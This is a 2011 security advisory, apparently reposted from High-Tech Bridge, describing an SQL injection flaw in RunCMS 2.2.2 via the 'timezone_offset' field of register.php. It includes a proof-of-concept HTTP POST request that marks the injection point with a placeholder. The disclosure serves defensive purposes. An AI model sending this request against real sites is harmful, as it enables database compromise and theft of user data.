HTB22820: SQL Injection in RunCMS

2011-02-11T00:00:00
ID SECURITYVULNS:DOC:25640
Type securityvulns
Reporter Securityvulns
Modified 2011-02-11T00:00:00

Description

Vulnerability ID: HTB22820 Reference: http://www.htbridge.ch/advisory/sql_injection_in_runcms.html Product: RunCMS Vendor: http://www.runcms.org/ ( http://www.runcms.org/ ) Vulnerable Version: 2.2.2 Vendor Notification: 27 January 2011 Vulnerability Type: SQL Injection Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "/register.php" script to properly sanitize user-supplied input in "timezone_offset" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

POST /register.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 299

uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address=nope&zip_code=123&town=nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL_CODE_HERE&url=http%3A%2F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verify_text=&verify_crc=&keystring=368483&op=finish